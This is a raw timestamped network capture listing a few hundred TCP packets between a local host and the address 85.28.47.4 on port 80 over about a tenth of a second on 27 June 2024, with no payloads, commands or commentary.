Jun 27, 2024 07:37:10.007441998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.007448912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.007471085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.007488966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011360884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011387110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011411905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011415958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011451960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011462927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011471987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011507034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011564970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011595964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011611938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011615992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011636019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011657000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011657953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011691093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011723042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011744022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011789083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011852026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011869907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011889935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011899948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011909962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.011918068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011939049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.011959076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012006044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012053013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012204885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012255907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012264013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012284040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012307882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012329102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012393951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012413025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012439966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012456894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012526989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012547016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012564898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012573004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012586117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012605906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012609005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012640953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012671947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012820005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012840033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012866974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012871027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012887001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012892008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.012917042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.012933969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.015935898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.015985012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016005993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016006947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016036987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016057968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016278028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016308069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016326904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016328096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016347885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016355038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016377926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016380072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016398907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016400099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016422033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016422033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016442060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016443968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016464949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016504049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016530991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016578913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016619921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016638994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016659021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016664028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016679049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016688108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016700029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016709089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016721010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016731024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016740084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.016751051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016772032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.016791105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017054081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017072916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017093897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017102957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017112970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017124891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017133951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017149925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017172098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017189980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017393112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017412901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017432928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017441034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017452955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017463923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017472982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017487049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017492056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017512083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017518997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017529964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017532110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017551899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017573118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017575979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017594099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.017600060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017644882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.017996073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018017054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018035889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018054962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018060923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018081903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018088102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018110037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018119097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018129110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018147945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018147945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018168926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018181086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018186092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018205881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018215895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018223047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018243074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018254042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018260956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018279076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018280983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018301010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018313885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018347979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018924952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018944979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018964052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018975019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.018984079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.018996954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019004107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019016981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019022942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019038916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019042969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019064903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019068956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019084930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019100904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019103050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019123077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019134045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019140959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019160986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019170046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019195080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019227982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019460917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019481897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.019506931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.019530058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.089590073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.089652061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.089673996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.089714050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.089718103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.089739084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.089739084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.089739084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.089761972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.089767933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.089792967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.089793921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.089807034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.089840889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094187975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094230890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094248056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094249964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094278097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094300985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094381094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094396114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094412088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094423056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094429016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094444990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094445944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094469070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094511986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094650984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094666958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094696045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094722033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094845057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094860077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094878912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094883919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094896078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094913960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094919920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094927073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094932079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094949007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.094954967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.094996929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099291086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099340916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099348068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099363089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099387884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099421024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099493980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099534988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099559069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099601030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099643946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099658012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099669933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099688053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099724054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099739075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099777937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099782944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099792004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099821091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099836111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099940062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099956036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099970102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.099983931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.099984884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.100003958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.100028992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.110493898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.110532045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.110546112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.110568047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.110568047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.110594034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.110670090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.110683918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.110714912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.110707998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.110732079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.110732079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.110757113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.110778093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111071110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111087084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111102104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111114025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111115932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111130953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111134052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111145973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111157894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111160994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111175060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111188889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111197948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111219883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111248970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111826897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111848116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111861944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111876011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111876965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111891985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111895084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111911058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111917973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111926079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111939907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111955881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111964941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111968994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111984015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.111987114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.111999035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112027884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.112027884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.112061024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.112787962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112803936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112818003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112833023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112835884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.112847090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112862110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112864971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.112876892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112891912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112894058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.112905979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112917900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.112921953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112936974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112941980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.112951040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.112976074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.113009930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.113697052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113718987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113733053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113748074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113749981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.113761902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113774061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.113778114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113791943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113806963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113812923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.113821030 CEST	80	49705	85.28.47.4	192.168.2.5
